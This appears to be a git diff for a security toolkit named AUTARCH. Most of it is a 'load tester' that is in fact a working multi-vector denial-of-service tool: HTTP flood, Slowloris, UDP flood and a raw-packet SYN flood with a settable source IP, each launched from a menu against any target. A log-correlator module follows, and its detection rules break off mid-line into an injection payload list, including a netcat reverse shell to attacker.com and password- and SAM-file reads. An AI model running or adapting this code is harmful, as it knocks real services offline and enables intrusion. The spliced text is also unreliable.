+ self._running = False
+ self._config: Dict[str, Any] = {}
+ self._result_queue: queue.Queue = queue.Queue()
+ self._subscribers: List[queue.Queue] = []
+ self._rps_counter = 0
+ self._rps_timer_start = 0.0
+
+ @property
+ def running(self) -> bool:
+ return self._running
+
+ @property
+ def metrics(self) -> TestMetrics:
+ return self._metrics
+
+ def start(self, config: Dict[str, Any]):
+ """Start a load test with given configuration.
+
+ Config keys:
+ target: URL or host:port
+ attack_type: http_flood|slowloris|tcp_connect|udp_flood|syn_flood
+ workers: Number of concurrent workers
+ duration: Duration in seconds (0 = unlimited)
+ requests_per_worker: Max requests per worker (0 = unlimited)
+ ramp_pattern: constant|linear|step|spike
+ ramp_duration: Ramp-up time in seconds
+ method: HTTP method (GET/POST/PUT/DELETE)
+ headers: Custom headers dict
+ body: Request body
+ timeout: Request timeout in seconds
+ follow_redirects: Follow HTTP redirects
+ verify_ssl: Verify SSL certificates
+ rotate_useragent: Rotate user agents
+ custom_useragent: Custom user agent string
+ rate_limit: Max requests per second (0 = unlimited)
+ payload_size: UDP/TCP payload size in bytes
+ """
+ if self._running:
+ return
+
+ self._stop_event.clear()
+ self._pause_event.set()
+ self._running = True
+ self._config = config
+ self._metrics = TestMetrics(start_time=time.time())
+ self._rps_counter = 0
+ self._rps_timer_start = time.time()
+
+ # Start metrics collector thread
+ collector = threading.Thread(target=self._collect_results, daemon=True)
+ collector.start()
+
+ # Start RPS tracker
+ rps_tracker = threading.Thread(target=self._track_rps, daemon=True)
+ rps_tracker.start()
+
+ # Determine attack type
+ attack_type = config.get('attack_type', 'http_flood')
+ workers = config.get('workers', 10)
+ ramp = config.get('ramp_pattern', 'constant')
+ ramp_dur = config.get('ramp_duration', 0)
+
+ # Launch workers based on ramp pattern
+ launcher = threading.Thread(
+ target=self._launch_workers,
+ args=(attack_type, workers, ramp, ramp_dur),
+ daemon=True
+ )
+ launcher.start()
+
+ def stop(self):
+ """Stop the load test."""
+ self._stop_event.set()
+ self._running = False
+
+ def pause(self):
+ """Pause the load test."""
+ self._pause_event.clear()
+
+ def resume(self):
+ """Resume the load test."""
+ self._pause_event.set()
+
+ def subscribe(self) -> queue.Queue:
+ """Subscribe to real-time metric updates."""
+ q = queue.Queue()
+ self._subscribers.append(q)
+ return q
+
+ def unsubscribe(self, q: queue.Queue):
+ """Unsubscribe from metric updates."""
+ if q in self._subscribers:
+ self._subscribers.remove(q)
+
+ def _publish(self, data: dict):
+ """Publish data to all subscribers."""
+ dead = []
+ for q in self._subscribers:
+ try:
+ q.put_nowait(data)
+ except queue.Full:
+ dead.append(q)
+ for q in dead:
+ self._subscribers.remove(q)
+
+ def _launch_workers(self, attack_type: str, total_workers: int,
+ ramp: str, ramp_dur: float):
+ """Launch worker threads according to ramp pattern."""
+ worker_fn = {
+ 'http_flood': self._http_worker,
+ 'slowloris': self._slowloris_worker,
+ 'tcp_connect': self._tcp_worker,
+ 'udp_flood': self._udp_worker,
+ 'syn_flood': self._syn_worker,
+ }.get(attack_type, self._http_worker)
+
+ if ramp == 'constant' or ramp_dur <= 0:
+ for i in range(total_workers):
+ if self._stop_event.is_set():
+ break
+ t = threading.Thread(target=worker_fn, args=(i,), daemon=True)
+ t.start()
+ self._workers.append(t)
+ with self._metrics_lock:
+ self._metrics.active_workers = len(self._workers)
+ elif ramp == 'linear':
+ interval = ramp_dur / max(total_workers, 1)
+ for i in range(total_workers):
+ if self._stop_event.is_set():
+ break
+ t = threading.Thread(target=worker_fn, args=(i,), daemon=True)
+ t.start()
+ self._workers.append(t)
+ with self._metrics_lock:
+ self._metrics.active_workers = len(self._workers)
+ time.sleep(interval)
+ elif ramp == 'step':
+ steps = min(5, total_workers)
+ per_step = total_workers // steps
+ step_interval = ramp_dur / steps
+ for s in range(steps):
+ if self._stop_event.is_set():
+ break
+ count = per_step if s < steps - 1 else total_workers - len(self._workers)
+ for i in range(count):
+ if self._stop_event.is_set():
+ break
+ t = threading.Thread(target=worker_fn, args=(len(self._workers),), daemon=True)
+ t.start()
+ self._workers.append(t)
+ with self._metrics_lock:
+ self._metrics.active_workers = len(self._workers)
+ time.sleep(step_interval)
+ elif ramp == 'spike':
+ # Burst 50%, wait, add remaining
+ burst = total_workers // 2
+ for i in range(burst):
+ if self._stop_event.is_set():
+ break
+ t = threading.Thread(target=worker_fn, args=(i,), daemon=True)
+ t.start()
+ self._workers.append(t)
+ with self._metrics_lock:
+ self._metrics.active_workers = len(self._workers)
+ time.sleep(ramp_dur / 2)
+ for i in range(burst, total_workers):
+ if self._stop_event.is_set():
+ break
+ t = threading.Thread(target=worker_fn, args=(i,), daemon=True)
+ t.start()
+ self._workers.append(t)
+ with self._metrics_lock:
+ self._metrics.active_workers = len(self._workers)
+
+ # Wait for duration or stop
+ duration = self._config.get('duration', 0)
+ if duration > 0:
+ start = time.time()
+ while time.time() - start < duration and not self._stop_event.is_set():
+ time.sleep(0.5)
+ self.stop()
+
+ def _collect_results(self):
+ """Collect results from worker threads."""
+ while self._running or not self._result_queue.empty():
+ try:
+ result = self._result_queue.get(timeout=0.5)
+ except queue.Empty:
+ continue
+
+ with self._metrics_lock:
+ m = self._metrics
+ m.total_requests += 1
+ m.elapsed = time.time() - m.start_time
+ m.bytes_sent += result.bytes_sent
+ m.bytes_received += result.bytes_received
+
+ if result.success:
+ m.successful += 1
+ else:
+ m.failed += 1
+ err_key = result.error[:50] if result.error else 'unknown'
+ m.errors[err_key] = m.errors.get(err_key, 0) + 1
+
+ if result.status_code:
+ m.status_codes[result.status_code] = m.status_codes.get(result.status_code, 0) + 1
+
+ if result.latency_ms > 0:
+ # Keep last 10000 latencies for percentile calculation
+ if len(m.latencies) > 10000:
+ m.latencies = m.latencies[-5000:]
+ m.latencies.append(result.latency_ms)
+
+ self._rps_counter += 1
+
+ # Publish update every 20 requests
+ if m.total_requests % 20 == 0:
+ self._publish({'type': 'metrics', 'data': m.to_dict()})
+
+ def _track_rps(self):
+ """Track requests per second over time."""
+ while self._running:
+ time.sleep(1)
+ with self._metrics_lock:
+ now = time.time()
+ elapsed = now - self._rps_timer_start
+ if elapsed >= 1.0:
+ current_rps = self._rps_counter / elapsed
+ self._metrics.rps_history.append(round(current_rps, 1))
+ if len(self._metrics.rps_history) > 120:
+ self._metrics.rps_history = self._metrics.rps_history[-60:]
+ self._rps_counter = 0
+ self._rps_timer_start = now
+
+ def _should_continue(self, request_count: int) -> bool:
+ """Check if worker should continue."""
+ if self._stop_event.is_set():
+ return False
+ max_req = self._config.get('requests_per_worker', 0)
+ if max_req > 0 and request_count >= max_req:
+ return False
+ return True
+
+ def _rate_limit_wait(self):
+ """Apply rate limiting if configured."""
+ rate = self._config.get('rate_limit', 0)
+ if rate > 0:
+ workers = self._config.get('workers', 1)
+ per_worker = rate / max(workers, 1)
+ if per_worker > 0:
+ time.sleep(1.0 / per_worker)
+
+ def _get_session(self) -> 'requests.Session':
+ """Create an HTTP session with configuration."""
+ if not REQUESTS_AVAILABLE:
+ raise RuntimeError("requests library not available")
+
+ session = requests.Session()
+ adapter = HTTPAdapter(
+ pool_connections=10,
+ pool_maxsize=10,
+ max_retries=0,
+ )
+ session.mount('http://', adapter)
+ session.mount('https://', adapter)
+ session.verify = self._config.get('verify_ssl', False)
+
+ # Custom headers
+ headers = self._config.get('headers', {})
+ if headers:
+ session.headers.update(headers)
+
+ if self._config.get('rotate_useragent', True):
+ session.headers['User-Agent'] = random.choice(USER_AGENTS)
+ elif self._config.get('custom_useragent'):
+ session.headers['User-Agent'] = self._config['custom_useragent']
+
+ return session
+
+ def _http_worker(self, worker_id: int):
+ """HTTP flood worker — sends rapid HTTP requests."""
+ target = self._config.get('target', '')
+ method = self._config.get('method', 'GET').upper()
+ body = self._config.get('body', '')
+ timeout = self._config.get('timeout', 10)
+ follow = self._config.get('follow_redirects', True)
+ count = 0
+
+ session = self._get_session()
+
+ while self._should_continue(count):
+ self._pause_event.wait()
+ self._rate_limit_wait()
+
+ if self._config.get('rotate_useragent', True):
+ session.headers['User-Agent'] = random.choice(USER_AGENTS)
+
+ start = time.time()
+ result = RequestResult(timestamp=start)
+
+ try:
+ resp = session.request(
+ method, target,
+ data=body if body else None,
+ timeout=timeout,
+ allow_redirects=follow,
+ )
+ elapsed = (time.time() - start) * 1000
+
+ result.status_code = resp.status_code
+ result.latency_ms = elapsed
+ result.bytes_received = len(resp.content)
+ result.bytes_sent = len(body.encode()) if body else 0
+ result.success = 200 <= resp.status_code < 500
+
+ except requests.Timeout:
+ result.error = "timeout"
+ result.latency_ms = timeout * 1000
+ except requests.ConnectionError as e:
+ result.error = f"connection_error: {str(e)[:60]}"
+ except Exception as e:
+ result.error = str(e)[:80]
+
+ self._result_queue.put(result)
+ count += 1
+
+ session.close()
+
+ def _slowloris_worker(self, worker_id: int):
+ """Slowloris worker — holds connections open with partial headers."""
+ parsed = urlparse(self._config.get('target', ''))
+ host = parsed.hostname or self._config.get('target', '')
+ port = parsed.port or (443 if parsed.scheme == 'https' else 80)
+ use_ssl = parsed.scheme == 'https'
+ timeout = self._config.get('timeout', 10)
+
+ sockets: List[socket.socket] = []
+ max_sockets = 50 # Per worker
+
+ while self._should_continue(0):
+ self._pause_event.wait()
+
+ # Create new sockets up to limit
+ while len(sockets) < max_sockets and not self._stop_event.is_set():
+ try:
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.settimeout(timeout)
+ if use_ssl:
+ ctx = ssl.create_default_context()
+ ctx.check_hostname = False
+ ctx.verify_mode = ssl.CERT_NONE
+ sock = ctx.wrap_socket(sock, server_hostname=host)
+ sock.connect((host, port))
+
+ # Send partial HTTP request
+ ua = random.choice(USER_AGENTS)
+ sock.send(f"GET /?{random.randint(0, 9999)} HTTP/1.1\r\n".encode())
+ sock.send(f"Host: {host}\r\n".encode())
+ sock.send(f"User-Agent: {ua}\r\n".encode())
+ sock.send(b"Accept-language: en-US,en;q=0.5\r\n")
+
+ sockets.append(sock)
+ result = RequestResult(
+ success=True, timestamp=time.time(),
+ bytes_sent=200, latency_ms=0
+ )
+ self._result_queue.put(result)
+ except Exception as e:
+ result = RequestResult(
+ error=str(e)[:60], timestamp=time.time()
+ )
+ self._result_queue.put(result)
+ break
+
+ # Keep connections alive with partial headers
+ dead = []
+ for i, sock in enumerate(sockets):
+ try:
+ header = f"X-a: {random.randint(1, 5000)}\r\n"
+ sock.send(header.encode())
+ except Exception:
+ dead.append(i)
+
+ # Remove dead sockets
+ for i in sorted(dead, reverse=True):
+ try:
+ sockets[i].close()
+ except Exception:
+ pass
+ sockets.pop(i)
+
+ time.sleep(random.uniform(5, 15))
+
+ # Cleanup
+ for sock in sockets:
+ try:
+ sock.close()
+ except Exception:
+ pass
+
+ def _tcp_worker(self, worker_id: int):
+ """TCP connect flood worker — rapid connect/disconnect."""
+ parsed = urlparse(self._config.get('target', ''))
+ host = parsed.hostname or self._config.get('target', '').split(':')[0]
+ try:
+ port = parsed.port or int(self._config.get('target', '').split(':')[-1])
+ except (ValueError, IndexError):
+ port = 80
+ timeout = self._config.get('timeout', 5)
+ payload_size = self._config.get('payload_size', 0)
+ count = 0
+
+ while self._should_continue(count):
+ self._pause_event.wait()
+ self._rate_limit_wait()
+
+ start = time.time()
+ result = RequestResult(timestamp=start)
+
+ try:
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.settimeout(timeout)
+ sock.connect((host, port))
+
+ if payload_size > 0:
+ data = random.randbytes(payload_size)
+ sock.send(data)
+ result.bytes_sent = payload_size
+
+ elapsed = (time.time() - start) * 1000
+ result.latency_ms = elapsed
+ result.success = True
+
+ sock.close()
+ except socket.timeout:
+ result.error = "timeout"
+ result.latency_ms = timeout * 1000
+ except ConnectionRefusedError:
+ result.error = "connection_refused"
+ except Exception as e:
+ result.error = str(e)[:60]
+
+ self._result_queue.put(result)
+ count += 1
+
+ def _udp_worker(self, worker_id: int):
+ """UDP flood worker — sends UDP packets."""
+ target = self._config.get('target', '')
+ host = target.split(':')[0] if ':' in target else target
+ try:
+ port = int(target.split(':')[1]) if ':' in target else 80
+ except (ValueError, IndexError):
+ port = 80
+ payload_size = self._config.get('payload_size', 1024)
+ count = 0
+
+ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+
+ while self._should_continue(count):
+ self._pause_event.wait()
+ self._rate_limit_wait()
+
+ start = time.time()
+ result = RequestResult(timestamp=start)
+
+ try:
+ data = random.randbytes(payload_size)
+ sock.sendto(data, (host, port))
+ elapsed = (time.time() - start) * 1000
+ result.latency_ms = elapsed
+ result.bytes_sent = payload_size
+ result.success = True
+ except Exception as e:
+ result.error = str(e)[:60]
+
+ self._result_queue.put(result)
+ count += 1
+
+ sock.close()
+
+ @staticmethod
+ def _checksum(data: bytes) -> int:
+ """Calculate IP/TCP checksum."""
+ if len(data) % 2:
+ data += b'\x00'
+ s = 0
+ for i in range(0, len(data), 2):
+ s += (data[i] << 8) + data[i + 1]
+ s = (s >> 16) + (s & 0xffff)
+ s += s >> 16
+ return ~s & 0xffff
+
+ def _build_syn_packet(self, src_ip: str, dst_ip: str,
+ src_port: int, dst_port: int) -> bytes:
+ """Build a raw TCP SYN packet (IP header + TCP header)."""
+ # IP Header (20 bytes)
+ ip_ihl_ver = (4 << 4) + 5 # IPv4, IHL=5 (20 bytes)
+ ip_tos = 0
+ ip_tot_len = 40 # 20 IP + 20 TCP
+ ip_id = random.randint(1, 65535)
+ ip_frag_off = 0
+ ip_ttl = 64
+ ip_proto = socket.IPPROTO_TCP
+ ip_check = 0
+ ip_saddr = socket.inet_aton(src_ip)
+ ip_daddr = socket.inet_aton(dst_ip)
+
+ ip_header = struct.pack('!BBHHHBBH4s4s',
+ ip_ihl_ver, ip_tos, ip_tot_len, ip_id,
+ ip_frag_off, ip_ttl, ip_proto, ip_check,
+ ip_saddr, ip_daddr)
+ # Recalculate IP checksum
+ ip_check = self._checksum(ip_header)
+ ip_header = struct.pack('!BBHHHBBH4s4s',
+ ip_ihl_ver, ip_tos, ip_tot_len, ip_id,
+ ip_frag_off, ip_ttl, ip_proto, ip_check,
+ ip_saddr, ip_daddr)
+
+ # TCP Header (20 bytes)
+ tcp_seq = random.randint(0, 0xFFFFFFFF)
+ tcp_ack_seq = 0
+ tcp_doff = 5 # Data offset: 5 words (20 bytes)
+ tcp_flags = 0x02 # SYN
+ tcp_window = socket.htons(5840)
+ tcp_check = 0
+ tcp_urg_ptr = 0
+ tcp_offset_res = (tcp_doff << 4) + 0
+
+ tcp_header = struct.pack('!HHLLBBHHH',
+ src_port, dst_port, tcp_seq, tcp_ack_seq,
+ tcp_offset_res, tcp_flags, tcp_window,
+ tcp_check, tcp_urg_ptr)
+
+ # Pseudo header for TCP checksum
+ pseudo = struct.pack('!4s4sBBH',
+ ip_saddr, ip_daddr, 0, ip_proto, 20)
+ tcp_check = self._checksum(pseudo + tcp_header)
+ tcp_header = struct.pack('!HHLLBBHHH',
+ src_port, dst_port, tcp_seq, tcp_ack_seq,
+ tcp_offset_res, tcp_flags, tcp_window,
+ tcp_check, tcp_urg_ptr)
+
+ return ip_header + tcp_header
+
+ def _syn_worker(self, worker_id: int):
+ """SYN flood worker — sends raw TCP SYN packets.
+
+ Requires elevated privileges (admin/root) for raw sockets.
+ Falls back to TCP connect flood if raw socket creation fails.
+ """
+ target = self._config.get('target', '')
+ host = target.split(':')[0] if ':' in target else target
+ try:
+ port = int(target.split(':')[1]) if ':' in target else 80
+ except (ValueError, IndexError):
+ port = 80
+
+ # Resolve target IP
+ try:
+ dst_ip = socket.gethostbyname(host)
+ except socket.gaierror:
+ result = RequestResult(error=f"Cannot resolve {host}", timestamp=time.time())
+ self._result_queue.put(result)
+ return
+
+ # Source IP: user-specified or auto-detect local IP
+ src_ip = self._config.get('source_ip', '').strip()
+ if not src_ip:
+ try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ s.connect((dst_ip, 80))
+ src_ip = s.getsockname()[0]
+ s.close()
+ except Exception:
+ src_ip = '127.0.0.1'
+
+ # Try to create raw socket
+ try:
+ import sys
+ if sys.platform == 'win32':
+ # Windows raw sockets
+ sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
+ sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
+ else:
+ sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+ sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
+ except PermissionError:
+ # Fall back to TCP connect flood
+ self._tcp_worker(worker_id)
+ return
+ except OSError as e:
+ result = RequestResult(
+ error=f"Raw socket failed (need admin/root): {e}", timestamp=time.time()
+ )
+ self._result_queue.put(result)
+ # Fall back
+ self._tcp_worker(worker_id)
+ return
+
+ count = 0
+ while self._should_continue(count):
+ self._pause_event.wait()
+ self._rate_limit_wait()
+
+ start = time.time()
+ result = RequestResult(timestamp=start)
+
+ try:
+ src_port = random.randint(1024, 65535)
+ packet = self._build_syn_packet(src_ip, dst_ip, src_port, port)
+ sock.sendto(packet, (dst_ip, 0))
+
+ elapsed = (time.time() - start) * 1000
+ result.latency_ms = elapsed
+ result.bytes_sent = len(packet)
+ result.success = True
+ except Exception as e:
+ result.error = str(e)[:60]
+
+ self._result_queue.put(result)
+ count += 1
+
+ sock.close()
+
+
+# Singleton
+_load_tester: Optional[LoadTester] = None
+
+
+def get_load_tester() -> LoadTester:
+ global _load_tester
+ if _load_tester is None:
+ _load_tester = LoadTester()
+ return _load_tester
+
+
+def _clear():
+ import os
+ os.system('cls' if os.name == 'nt' else 'clear')
+
+
+def _format_bytes(b: int) -> str:
+ if b < 1024:
+ return f"{b} B"
+ elif b < 1024 * 1024:
+ return f"{b / 1024:.1f} KB"
+ elif b < 1024 * 1024 * 1024:
+ return f"{b / (1024 * 1024):.1f} MB"
+ return f"{b / (1024 * 1024 * 1024):.2f} GB"
+
+
+def run():
+ """Interactive CLI for the load testing module."""
+ from core.banner import Colors
+
+ tester = get_load_tester()
+
+ while True:
+ _clear()
+ print(f"\n{Colors.RED} ╔══════════════════════════════════════╗{Colors.RESET}")
+ print(f"{Colors.RED} ║ AUTARCH Load Tester ║{Colors.RESET}")
+ print(f"{Colors.RED} ╚══════════════════════════════════════╝{Colors.RESET}")
+ print()
+
+ if tester.running:
+ m = tester.metrics
+ print(f" {Colors.GREEN}● TEST RUNNING{Colors.RESET} Workers: {m.active_workers} Elapsed: {m.elapsed:.0f}s")
+ print(f" {Colors.CYAN}RPS: {m.rps:.1f} Total: {m.total_requests} OK: {m.successful} Fail: {m.failed}{Colors.RESET}")
+ print(f" {Colors.DIM}Avg: {m.avg_latency:.1f}ms P95: {m.p95_latency:.1f}ms P99: {m.p99_latency:.1f}ms{Colors.RESET}")
+ print(f" {Colors.DIM}Sent: {_format_bytes(m.bytes_sent)} Recv: {_format_bytes(m.bytes_received)}{Colors.RESET}")
+ print()
+ print(f" {Colors.WHITE}1{Colors.RESET} — View live metrics")
+ print(f" {Colors.WHITE}2{Colors.RESET} — Pause / Resume")
+ print(f" {Colors.WHITE}3{Colors.RESET} — Stop test")
+ print(f" {Colors.WHITE}0{Colors.RESET} — Back (test continues)")
+ else:
+ print(f" {Colors.WHITE}1{Colors.RESET} — HTTP Flood")
+ print(f" {Colors.WHITE}2{Colors.RESET} — Slowloris")
+ print(f" {Colors.WHITE}3{Colors.RESET} — TCP Connect Flood")
+ print(f" {Colors.WHITE}4{Colors.RESET} — UDP Flood")
+ print(f" {Colors.WHITE}5{Colors.RESET} — SYN Flood (requires admin)")
+ print(f" {Colors.WHITE}6{Colors.RESET} — Quick Test (HTTP GET)")
+ print(f" {Colors.WHITE}0{Colors.RESET} — Back")
+
+ print()
+ try:
+ choice = input(f" {Colors.WHITE}Select: {Colors.RESET}").strip()
+ except (EOFError, KeyboardInterrupt):
+ break
+
+ if choice == '0' or not choice:
+ break
+
+ if tester.running:
+ if choice == '1':
+ _show_live_metrics(tester)
+ elif choice == '2':
+ if tester._pause_event.is_set():
+ tester.pause()
+ print(f"\n {Colors.YELLOW}[!] Test paused{Colors.RESET}")
+ else:
+ tester.resume()
+ print(f"\n {Colors.GREEN}[+] Test resumed{Colors.RESET}")
+ time.sleep(1)
+ elif choice == '3':
+ tester.stop()
+ _show_final_report(tester)
+ else:
+ if choice == '1':
+ _configure_and_run(tester, 'http_flood')
+ elif choice == '2':
+ _configure_and_run(tester, 'slowloris')
+ elif choice == '3':
+ _configure_and_run(tester, 'tcp_connect')
+ elif choice == '4':
+ _configure_and_run(tester, 'udp_flood')
+ elif choice == '5':
+ _configure_and_run(tester, 'syn_flood')
+ elif choice == '6':
+ _quick_test(tester)
+
+
+def _configure_and_run(tester: LoadTester, attack_type: str):
+ """Interactive configuration and launch."""
+ from core.banner import Colors
+
+ print(f"\n{Colors.BOLD} Configure {attack_type.replace('_', ' ').title()}{Colors.RESET}")
+ print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}\n")
+
+ src_ip = ''
+ try:
+ if attack_type == 'http_flood':
+ target = input(f" Target URL: ").strip()
+ if not target:
+ return
+ if not target.startswith('http'):
+ target = 'http://' + target
+ method = input(f" Method [GET]: ").strip().upper() or 'GET'
+ body = ''
+ if method in ('POST', 'PUT'):
+ body = input(f" Body: ").strip()
+ elif attack_type == 'syn_flood':
+ print(f" {Colors.YELLOW}[!] SYN flood requires administrator/root privileges{Colors.RESET}")
+ target = input(f" Target (host:port): ").strip()
+ if not target:
+ return
+ src_ip = input(f" Source IP (blank=auto): ").strip()
+ method = ''
+ body = ''
+ elif attack_type in ('tcp_connect', 'udp_flood'):
+ target = input(f" Target (host:port): ").strip()
+ if not target:
+ return
+ method = ''
+ body = ''
+ elif attack_type == 'slowloris':
+ target = input(f" Target URL or host:port: ").strip()
+ if not target:
+ return
+ if not target.startswith('http') and ':' not in target:
+ target = 'http://' + target
+ method = ''
+ body = ''
+ else:
+ target = input(f" Target: ").strip()
+ if not target:
+ return
+ method = ''
+ body = ''
+
+ workers_s = input(f" Workers [10]: ").strip()
+ workers = int(workers_s) if workers_s else 10
+
+ duration_s = input(f" Duration in seconds [30]: ").strip()
+ duration = int(duration_s) if duration_s else 30
+
+ ramp_s = input(f" Ramp pattern (constant/linear/step/spike) [constant]: ").strip()
+ ramp = ramp_s if ramp_s in ('constant', 'linear', 'step', 'spike') else 'constant'
+
+ rate_s = input(f" Rate limit (req/s, 0=unlimited) [0]: ").strip()
+ rate_limit = int(rate_s) if rate_s else 0
+
+ config = {
+ 'target': target,
+ 'attack_type': attack_type,
+ 'workers': workers,
+ 'duration': duration,
+ 'method': method,
+ 'body': body,
+ 'ramp_pattern': ramp,
+ 'rate_limit': rate_limit,
+ 'timeout': 10,
+ 'rotate_useragent': True,
+ 'verify_ssl': False,
+ 'follow_redirects': True,
+ 'payload_size': 1024,
+ 'source_ip': src_ip if attack_type == 'syn_flood' else '',
+ }
+
+ print(f"\n {Colors.YELLOW}[!] Starting {attack_type} against {target}{Colors.RESET}")
+ print(f" {Colors.DIM}Workers: {workers} Duration: {duration}s Ramp: {ramp}{Colors.RESET}")
+ confirm = input(f"\n {Colors.WHITE}Confirm? (y/n) [y]: {Colors.RESET}").strip().lower()
+ if confirm == 'n':
+ return
+
+ tester.start(config)
+ _show_live_metrics(tester)
+
+ except (ValueError, EOFError, KeyboardInterrupt):
+ print(f"\n {Colors.YELLOW}[!] Cancelled{Colors.RESET}")
+ time.sleep(1)
+
+
+def _quick_test(tester: LoadTester):
+ """Quick HTTP GET test with defaults."""
+ from core.banner import Colors
+
+ try:
+ target = input(f"\n Target URL: ").strip()
+ if not target:
+ return
+ if not target.startswith('http'):
+ target = 'http://' + target
+
+ config = {
+ 'target': target,
+ 'attack_type': 'http_flood',
+ 'workers': 10,
+ 'duration': 10,
+ 'method': 'GET',
+ 'body': '',
+ 'ramp_pattern': 'constant',
+ 'rate_limit': 0,
+ 'timeout': 10,
+ 'rotate_useragent': True,
+ 'verify_ssl': False,
+ 'follow_redirects': True,
+ }
+
+ print(f"\n {Colors.YELLOW}[!] Quick test: 10 workers × 10 seconds → {target}{Colors.RESET}")
+ tester.start(config)
+ _show_live_metrics(tester)
+
+ except (EOFError, KeyboardInterrupt):
+ pass
+
+
+def _show_live_metrics(tester: LoadTester):
+ """Display live-updating metrics in the terminal."""
+ from core.banner import Colors
+ import sys
+
+ print(f"\n {Colors.GREEN}● LIVE METRICS {Colors.DIM}(Press Ctrl+C to return to menu){Colors.RESET}\n")
+
+ try:
+ while tester.running:
+ m = tester.metrics
+ rps_bar = '█' * min(int(m.rps / 10), 40)
+
+ sys.stdout.write('\033[2K\r') # Clear line
+ sys.stdout.write(
+ f" {Colors.CYAN}RPS: {m.rps:>7.1f}{Colors.RESET} "
+ f"{Colors.DIM}{rps_bar}{Colors.RESET} "
+ f"Total: {m.total_requests:>8} "
+ f"{Colors.GREEN}OK: {m.successful}{Colors.RESET} "
+ f"{Colors.RED}Fail: {m.failed}{Colors.RESET} "
+ f"Avg: {m.avg_latency:.0f}ms "
+ f"P95: {m.p95_latency:.0f}ms "
+ f"Workers: {m.active_workers}"
+ )
+ sys.stdout.flush()
+ time.sleep(0.5)
+ except KeyboardInterrupt:
+ pass
+
+ print()
+ if not tester.running:
+ _show_final_report(tester)
+
+
+def _show_final_report(tester: LoadTester):
+ """Display final test results."""
+ from core.banner import Colors
+
+ m = tester.metrics
+ print(f"\n{Colors.BOLD} ─── Test Complete ───{Colors.RESET}\n")
+ print(f" Total Requests: {m.total_requests}")
+ print(f" Successful: {Colors.GREEN}{m.successful}{Colors.RESET}")
+ print(f" Failed: {Colors.RED}{m.failed}{Colors.RESET}")
+ print(f" Duration: {m.elapsed:.1f}s")
+ print(f" Avg RPS: {m.rps:.1f}")
+ print(f" Data Sent: {_format_bytes(m.bytes_sent)}")
+ print(f" Data Received: {_format_bytes(m.bytes_received)}")
+ print()
+ print(f" {Colors.CYAN}Latency:{Colors.RESET}")
+ print(f" Min: {m.min_latency:.1f}ms")
+ print(f" Avg: {m.avg_latency:.1f}ms")
+ print(f" P50: {m.p50_latency:.1f}ms")
+ print(f" P95: {m.p95_latency:.1f}ms")
+ print(f" P99: {m.p99_latency:.1f}ms")
+ print(f" Max: {m.max_latency:.1f}ms")
+
+ if m.status_codes:
+ print(f"\n {Colors.CYAN}Status Codes:{Colors.RESET}")
+ for code, count in sorted(m.status_codes.items()):
+ color = Colors.GREEN if 200 <= code < 300 else Colors.YELLOW if 300 <= code < 400 else Colors.RED
+ print(f" {color}{code}{Colors.RESET}: {count}")
+
+ if m.errors:
+ print(f"\n {Colors.RED}Top Errors:{Colors.RESET}")
+ for err, count in sorted(m.errors.items(), key=lambda x: -x[1])[:5]:
+ print(f" {count}× {err}")
+
+ print()
+ try:
+ input(f" {Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+ except (EOFError, KeyboardInterrupt):
+ pass
diff --git a/modules/log_correlator.py b/modules/log_correlator.py
new file mode 100644
index 0000000..ab10bd1
--- /dev/null
+++ b/modules/log_correlator.py
@@ -0,0 +1,551 @@
+"""AUTARCH Log Correlator
+
+Syslog ingestion, pattern matching, anomaly detection, alert rules,
+timeline correlation, and mini-SIEM functionality.
+"""
+
+DESCRIPTION = "Log correlation & anomaly detection (mini-SIEM)"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "defense"
+
+import os
+import re
+import json
+import time
+import threading
+from pathlib import Path
+from datetime import datetime, timezone
+from collections import Counter, defaultdict
+from typing import Dict, List, Optional, Any
+
+try:
+ from core.paths import get_data_dir
+except ImportError:
+ def get_data_dir():
+ return str(Path(__file__).parent.parent / 'data')
+
+
+# ── Built-in Detection Rules ────────────────────────────────────────────────
+
+DEFAULT_RULES = [
+ {
+ 'id': 'brute_force_ssh',
+ 'name': 'SSH Brute Force',
+ 'pattern': r'(Failed password|authentication failure).*ssh',
+ 'severity': 'high',
+ 'threshold': 5,
+ 'window_seconds': 60,
+ 'description': 'Multiple failed SSH login attempts'
+ },
+ {
+ 'id': 'brute_force_web',
+ 'name': 'Web Login Brute Force',
+ 'pattern': r'(401|403).*POST.*(login|auth|signin)',
+ 'severity': 'high',
+ 'threshold': 10,
+ 'window_seconds': 60,
+ 'description': 'Multiple failed web login attempts'
+ },
+ {
+ 'id': 'sql_injection',
+ 'name': 'SQL Injection Attempt',
+ 'pattern': r"(UNION\s+SELECT|OR\s+1\s*=\s*1|DROP\s+TABLE|'--|\bSLEEP\()",
+ 'severity': 'critical',
+ 'threshold': 1,
+ 'window_seconds': 0,
+ 'description': 'SQL injection pattern detected'
+ },
+ {
+ 'id': 'xss_attempt',
+ 'name': 'XSS Attempt',
+ 'pattern': r'(',
+ ' ',
+ '',
+ '">',
+ "'-alert(1)-'",
+ '',
+ '{{constructor.constructor("alert(1)")()}}',
+ ],
+ "2": [ # SQLi
+ "' OR '1'='1",
+ "' OR '1'='1' --",
+ "'; DROP TABLE users; --",
+ "1' ORDER BY 1--",
+ "1 UNION SELECT null,null,null--",
+ "' AND 1=1 --",
+ "admin'--",
+ ],
+ "3": [ # Command Injection
+ "; ls -la",
+ "| cat /etc/passwd",
+ "& whoami",
+ "`id`",
+ "$(whoami)",
+ "; ping -c 3 127.0.0.1",
+ "| nc -e /bin/sh attacker.com 4444",
+ ],
+ "4": [ # Path Traversal
+ "../../../etc/passwd",
+ "..\\..\\..\\windows\\system32\\config\\sam",
+ "....//....//....//etc/passwd",
+ "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
+ "..%252f..%252f..%252fetc/passwd",
+ "/etc/passwd%00",
+ ],
+ "5": [ # SSTI
+ "{{7*7}}",
+ "${7*7}",
